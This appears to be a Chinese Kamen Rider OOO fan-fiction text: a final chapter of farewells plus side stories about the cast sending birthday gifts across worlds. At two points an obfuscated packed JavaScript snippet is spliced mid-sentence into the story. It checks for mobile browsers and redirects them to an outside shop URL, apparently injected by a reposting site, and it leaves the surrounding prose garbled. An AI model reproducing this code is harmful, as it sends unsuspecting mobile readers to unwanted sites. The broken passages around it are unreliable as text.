“你们管这个叫‘相片’吗?” “其实准确来说是‘LIVE图’,总之把手机还我!” 总算安定下来,他们也终于有工夫来研究我手机上的软件,不知道谁先发现了相机的LIVE图功能,喊着说机会难得,要大家拍上一张,结果拍完了手机居然也不还我了,反而又捣鼓起了开心消消乐! “你这样,然后这样,这不就有这个紫色彩虹头吗?” “Unbelievable!” “哎呀,这个发光的是什么?好像也有特殊效果?” “试一下就知道了。” “Great!” 啊啊——我要闹脾气了! 你们就没有自己的娱乐设备吗!知不知道是现代人不能离开手机的啊! “真是的……”我鼓着脸坐回沙发上,心想究竟什么时候才能拿回我的手机。 这时知世子掀开帘子,从厨房里走了出来。 她端着一个比脸还大的盘子,上面摆着一块状似奶酪的物品。但颜色要比奶酪更橘,边缘还有灼烤过的痕迹。 “看看我的新作?第三版的海盐柠沫薄荷黑胡椒起司蛋糕!” 众人面面相觑,原本轻松活泼的氛围顿时变得严肃。 后藤举起手,问出大家的心声:“这食材真的能好吃吗?” “说什么呢!”知世子笑盈盈的,挤到后藤身前,转过脸向我飞来一个眼神。 “我们燕儿早就尝试过了,很好吃对吧?” 一时间所有目光都聚集过来。 我愣愣的,顺着知世子的话点了点头:“啊,是啊……不过那是冰淇淋吧?我没吃过这个蛋糕。” “这蛋糕只会更好吃!”知世子连忙说,“我还给它起了个名字,''VITA'',就是''生命''的意思!” 尽管知世子这样推销她的新品,但很遗憾,大部分人的味蕾显然还没有进化到能接受盐柠沫薄荷黑胡椒起司的地步。 所以最后是Ankh独自吃完了整个蛋糕。 知世子满怀期待:“感觉如何,Ankh?” “……” Ankh虽然是复活了,但这回他用的是自己的身体,换言之也就是一堆的细胞硬币,根本没有味觉。 然而,既然知世子这么问了。 “还行吧!”他跷着腿说,“但还是冰棍比较合我的胃口——映司人呢?” 信吾哥站了出来:“在警视厅。” “哈?!” Ankh扬起眉毛,上下打量着信吾哥。 信吾哥依旧是那副谦卑的态度,让人找不出错处,也就不好跟他发脾气。 我抱着橙汁看戏:“以柔克刚,一物降一物。鸟还是太食物链底层了,连信吾哥都能压他一头。” Ankh会不会也这样想呢?谁知道。他复活后脾气是好了不少,很多时候我能感觉他在压抑自己的冲动,越来越有了“人”的感觉。 学会和脾气不同的家伙们相处,在一次次的交际中磨合,却也不因此而放弃最本质的自我。大概这也是成为完整生命必经之路。 “啧。”Ankh别过脸,故意往窗外看去,“他去警视厅做什么?” “登记。” “啊?” -- 映司在决战后依旧很忙,为了收尾,每天都要去警视厅呆上一段时间,这一点所在场有人都知情,除了Ankh。 说来映司也挺奇怪的,Ankh不在的时候,他满世界的地跑,满世界地找。现在Ankh回来了,他一句多余的表示也没有,在比奈等人都还没有适应这一现实的时候已经快进到了那种“无需多言”的成熟的阶段,就好像他们从未分开过一样。 这也是珍视的一种表现吧? 我想他一定为这天做了充分的准备,才能表现得如此淡然。因为他也是如此相信自己,有朝一日,总可以把Ankh带回来的。 -- 等到映司回来,欢迎会正式进入流程。因为经过和之前两场都差不多,不再赘述。 第二天晨光熹微,我睁开眼,趁着所有人都还没有醒来,偷偷地洗漱,偷偷地下楼,把声音放到最轻,以为这样不会有人发觉。 结果在门口看到了映司。 映司也看见了我。他回头,手指往我背上的双肩包一点,问:“要走了吗?” 果然被发现了啊。 没什么好隐瞒的,我点点头:“已经拖很久了。”我看了眼自己若隐若现的掌心,“硬币正在消散,再不走就来不及了。” “是啊,我们也不能留你太久。” 不知是想起了什么,映司倏然一笑,身体也不安分起来,仿佛一位顽劣的孩童。 “Ankh跟我说,如果你要走了,让我帮他道声谢谢。” “少来,这不是他的原话吧?” 我真是拿映司没办法了。我把他作为角色在看,而他似乎也不认为我是深谙他们个性的观众,依旧把我当成一位年轻的朋友,说起瞎话也是张嘴就来。这种礼貌到让人好笑的发言,怎么可能是Ankh说的?完全不符合他的鸟设。 “我猜他说的是‘为了我牺牲吗?人类还真是奇怪,居然有连自己性命都不珍惜的家伙’。” “他可没说过这样的话。”这回映司真笑出了声,“但意思也差不多。总之,他有点觉得自己不值得你牺牲自己去救。他说,他早已经满足——” “——但我没有。” 我打断他,认真地往下说道。 “我不满意,我不满足,所以才会有这样一个故事。这是我执意要送给他的,属于‘我’,属于‘我们’的结局。”我想了想,用手随意比划了下,“到这就可以了。” 这句话有两重意思:故事到这就可以了;路送到这也可以了。我相信作为政客的儿子,映司一定能够理解。 “好的。”不出所料,他也点了点头,意思是不再深究,让这话题到此为止。 “你还是坐地铁走吗?” “不然呢?” “那,一路顺风。” 映司说着向我伸出了手,脸上的笑容明媚如四月里的骄阳。 “谢谢。”我把手放了上去,用力地同他一握。 -- 我回打车到了来时的那个地铁站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537424|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,根据售票机的指示,随便买了一张车票。 日本的地铁采用的仍然是纸质票加打孔的传统验票方式,进站时也没有案件,真叫人隐隐有些担心。 不过,管他呢。反正我很快就要回去。 也许是我到的太早,这节车厢里一个人都没有。 我戴上自己的蓝牙耳机,靠着车身闭目养神。 列车嗡嗡地前进,伴随着耳机里舒缓而又熟悉的旋律。 想起一件三年前的往事。 -- 和小学的旧朋友重逢以后,那个日语补习班我还是继续在上。某天放学,我留下来准备把当天的作业写完,本来以为只有我一个人会这样做,但意外的,一道乌黑的影子投到了我的作业本上,让我完全看不清上面的内容。 我只好抬起头来,看到是我的那位老同学。 “有事吗?” 因为耽误了学习,我的口吻绝对称不上是友好。 他红着脸,似乎在为之后要说的话而害羞。 不是来告白的吧? 我没心情陪着他演,语气硬得像是一块钢板:“你有什么事吗?和学习无关就不要提了,我还要写作业。” 他还是不走。嘴巴张开又合上,终于逼了自己一把,极小声地吐出几个字来。 “对不起。” “诶?” 我眨了眨眼。 好奇怪啊,居然是找我道歉。 “当年我不该完全听我妈的。”他像株倒伏的植物,整个人都低了下去,“其实我一直都很佩服你。我当年觉得他们做得不对,却也没有维护到你,反而辜负了我们的友谊,实在抱歉。” 也就是四年前的事吧,被他这一说怎么像过了四十年。 “没事啊。”我歪了歪脑袋,“那件事我都差不多忘了吧?现在我过得也好,别在意了。” “真的吗!”他重新直起身来,神情很是感动。 他接着问:“那我们还可以做好朋友吗?” “这个啊……” 说实在的,和闹掰的人重新做朋友吗?我还没有过这样的经历,完全不知道该给出什么样的回答。 我只好告诉他:“这件事我得想想。” “没关系,你随便想!”这答案好像已经让他很满足了,他松了口气,“太好了,我还以为你一定会拒绝我呢!” “为什么会这么想?”我好奇地反问。 “因为人都不会和背刺自己的人玩吧?‘好马不吃回头草’、‘老死不相往来’,好像这才是更普遍的做法。” 他笑嘻嘻地说,腿一抬坐到了桌子上面。 “我第一天见到你的时候,还以为你会为此转班呢!还好没有。” 是这样吗? 我觉得这好奇怪。 他只是因为妈妈的教导选择过我,而后来又因为妈妈的教导离开了我而已,并没有做错什么。如果这样也需要到“老死不相往来”的地步…… 还没等我想明白。 “那接下来,我们来听歌吧!” 他自顾自地欢呼,仿佛拿下了一场胜利。打开手机的“扬声器”功能,把音量放到最大。 “没关系,明天一直都是空白。” “自己的价值,是有由自己来决定。” “OOO OOO OOO OOO” e on!” [正文完] 33.歌未尽(1)[番外] 1. 风和日丽的下午。 库斯库契多国料理店。 一声尖锐的鸣叫。 “映——司——!!!!!” 本来以为Ankh好不容易复活,这对苦命鸳鸯终于修成正果,该过上恩爱两不疑的幸福生活。但是好吧,如此平庸的情节必然不会出现在这两位身上。 Ankh已经跟映司闹了半天脾气,原因是他早上起来,发现自己好不容易收拾的窝居然被掀了。更可气的事,肇事者还振振有词,说什么他还以为那块布是防尘用的,他是看到上面落了灰好心才…… “你是不是眼瞎?!”Ankh拒收这套说辞,“用你鼻孔看见上面有灰的吗?!这东西不能水洗你知不知道!!!” “对不起啊Ankh……”映司双手合十,委屈巴巴地建议,“要不我给你重新买一块吧?我帮你重新铺了,这样子可以吗?” “可以个球啊!”Ankh大吵,“我看你什么都不懂!对于Greeed来说,这些就好——” “哐当”一声巨响,盖过了二人的争执。 他们齐齐往门口看。 “在吵什么呢?”比奈甜甜地笑着,端庄优雅,叫人看了觉得亲切。 如果忽略地上那块被贯穿的门板的话。 映司和Ankh同时愣住,同时扭头对视,同时在对方眼中看出了几分惊惧。 这是谁又惹她了? 不知道啊,你知道吗? 我怎么知道! 就在二人一头雾水的时候,楼下,知世子提高了调门:“比奈你看过了吗?他们是在做什么呀?” “没什么!”比奈头也不回,只是用那双大且乌黑的眼睛盯着二人,“他们在讨论下次旅行去哪里呢,好像意见不是很合,声音大了一些!” “是吗?”知世子不太相信。 不愧是政客的孩子,映司明显比Ankh反应更快:“是这样!我想去太平洋某个岛国,但Ankh说他要去美国!我们在商量!” “那也不要吵架啊!”知世子于是放下心来,“你们好好商量,记得多拍点照片!还要给燕准备的知道吧!” “好!” 就这样,一场酝酿中的家庭危机,被和平使者泉比奈轻松化解。真是可喜可贺。 2. 后藤对自己在秋山燕叙述里的形象定位很不满意。 同为重要角色,他的戏份少就算了,为什么话最多的是河畔吵架,他还只担任了一个解释说明的作用,其余时间完全背景板化,通篇下来没有任何高光! 为什么! 后藤不解。 直到某天在库斯库契吃饭,他突然提起这事。 “但是,秋山燕来的那段日子,你不是在处理Yummy,就是在处理Yummy的路上;她不是在住院,就是在通往医院的路上。你们的路径完全不重合,那不就只有那点事儿吗?” “……” “要不还是怪工作太忙?” “……” “没关系的,至少我们都知道你是当时的中流砥柱。在镜头拍摄不到的地方,都是你在负重前行的啊!” 3. 绘里香小姐最后请了足足三十二天的假。 全日本无人了解鸿上基金会的运作体系。一个顶级秘书,居然可以在鸿上光生手下请到一个多月的长假,在其他公司看来这完全是不可理喻的事。 但是,绘里香做到了。 电话打来的那天,她正在夏威夷享受日光浴,手里还拿着一杯热带水果软酒精饮品。 “照片?你们要做什么?” “哦哦,了解了。” “再说吧,我目前在度假。” “嗯嗯,没问题的,我肯定没问题。” “拜拜。” 4. 鸿上光生不知道库斯库契一伙人究竟在搞什么花样。 自从打败了Yummy王,摸清楚空白硬币之间的原理,他的硬币系统开发又迈上了一个新台阶。实验室里的研究员们整日加班加点,终于成功开发出了“时空穿越系统1.0”原型机BATE版本。 换言之:实验品中的实验品,副作用不明,但能用。 已经是人类科学的一大步。 当研发完成的消息通过内线,传到鸿上基金会时,鸿上光生马上推掉了下午与警视厅领导的会议,快马加鞭地往实验室赶。 “真是伟大的创举,Happy Birthday!” 研究员们早已习惯了老板时不时的发癫,反正在他们看来就是涨工资的标志。 负责人迎了上去,语气激动地介绍:“请容许我为您讲解‘时空穿越系统1.0’的功能。为了这一天,我们研究所一百多号研究人奋斗了足足一千八百多天,失败数不胜数……” “我要听重点。”鸿上打断他,“我要知道它能释放多大的欲望!能不能,能不能把那个世界的庞大欲望也吸引过来——我需要更多,还是更多!” 负责人擦了擦脑门上那并不存在的汗:“能!当然能!”转身开始演示。 只见他手指在键盘上纷飞,做什么不知道,但从屏幕上的现实来看,可能是打字的。 鸿上等不耐烦了:“还有多久,我的博士!” 负责人迅速响应:“马上、马上!” 果不其然,随着负责人话音落下,一道紫光闪过,实验舱中凭空出现了一样东西。 鸿上光生走了过去,打开实验舱,拿出里面的物品。 “这是……OOO的布娃娃?” 如果秋山燕在,她一眼就能认得出来:那是个人设计、个人制作、个人出品的OOO的同人努努。 可惜在他们世界里没有万代,也就没有“努努”这样周边品类。鸿上光生只能用“布娃娃”来形容。 “这,这就是时空穿越的证明!”负责人也没有想到,自己一通操作下居然只是弄出来这样一件玩具。 “这个事情说明我们确实打通了世界线的通道,只是性能还需要……”他苍白地解释,大脑飞快转动着,生怕自己到手的豪宅别墅飞掉。 没想到鸿上:“不可思议!” “……任何发明都需要不停测试……啊?” “实现了伟大的壮举,真是不可思议!!!” 鸿上像个急于热场的RAPPER一样,手指着负责人兴奋道:“你,叫什么名字!” “我……”负责人嘴角微抽,拎起自己胸口的铭牌,“我是UKAMEGA……” “UKAMEGA?”鸿上的眼神倏然变了,仿佛一道电光;紧接着他放声大笑,“好,UKAMEGA,我要给你最高授权,以后这实验室就你负责了,尽可能开发吧!” “真的?!” “当然!不光如此,我还要给你提供一套高级公寓,以后就尽可能发挥你的才能!创造更多的欲望!” “太感谢了!我一定为实验室赴汤蹈火,在所不辞!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539537|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >5. 当然啦,非要细究起来,所谓“时空穿越系统”背后的原理复杂到可以出一本书了。比如非线性时间、平行宇宙,把时空拆解开来按照X轴和Y轴进行区域划分然后锁定坐标进行能量置换之类的…… 但是鸿上光生不想知道,在此就不多说了。 只要知道这仍然属于恐龙力量的范畴就行。无敌的炼金术师和他们没用的王。 6. 对于泉信吾而言,Ankh的复活实在有些奇妙,因为两个人共用一张脸的缘故,他就像突然多了一位双胞胎兄弟——这感觉在对方陪映司来警视厅做笔录时尤其深刻,甚至同事们明知内情也天天打趣,说什么时候有了坏脾气的弟弟。 当然,Ankh本人肯定不会承认他是“弟弟”。按照人类的分法,他应该是泉信吾的“祖宗”。 这话最后被映司拦住,没说出口。 7. 某天,除了鸿上外的上述所有人齐聚库斯库契,包括刚结束非洲支医的无国界医生伊达明。 映司神情严肃:“都准备好了吗?” “准备好了!” “好!” 话音刚落,全部人从包里各自拿出一样东西,整齐地摆在桌上。 “太好了!” 映司欢呼一声,俯下身子一样样检查起来。 “知世子这个娃娃很可爱啊!” “比奈的……是新款吗?肯定会卖爆的!” “后藤你干什么送资料啦!” “泉先生的这件胸针也很美丽!” “Ankh居然有好好准备诶,好漂亮的工艺品。” “里中小姐的是……石头吗?” 到最后一样物品。 “伊达先生的这是什么啊!!!” 伊达明的包裹非常神秘,用牛皮纸扎好不说,外面还贴了一圈胶布。得到允许后映司把它拆开,发现这是一个很普通的玻璃罐子,不普通的是里面居然装着一条活着的蛇! “这种东西真的会有女生喜欢吗?!”映司把罐子举了起来,知世子和比奈看到后下意识地退了两步,想躲开它。 “哎呀,这是异类宠物啊。宠物。”伊达明说,漫不经心地走到映司前面,拿回罐子重新包装,“没有毒性,而且很乖。现在在年轻人里很流行啊。” “希望秋山燕不要吓到。”映司无奈说道。 他们是来给秋山燕准备生日礼物的。在听说鸿上基金会已经掌握了时空穿梭的技术之后,映司心里就冒出来这样一个想法,并且与伙伴们一拍即合,甚至连Ankh都同意了。 “毕竟也算我们的小恩人呢。” 这番话得到了在座的一致认可。 于是,映司在检查完所有内容(跟伊达明说不许运输活物,后来换成了非洲的面具)之后,他找来一个巨大的箱子,把东西包好,一样样装了进去。 “还有祝福!”比奈找来纸笔,“有没有要留言的,就写在照片后面!” 知世子立刻举手:“我的我的!” 后藤也说:“还有我!” 于是,箱子里又多了几封信件。直到再也装不下了,他们把包裹交给里中绘里香。 “拜托你了,里中小姐。”映司诚恳地说,“请将我们的思念和感谢,都寄给远在另一个世界的燕吧!” “你这说的,都找我了……”绘里香双手接过包裹,拿在手里颠了一下。 “这么沉重的感情,我会叮嘱他们好好送达。”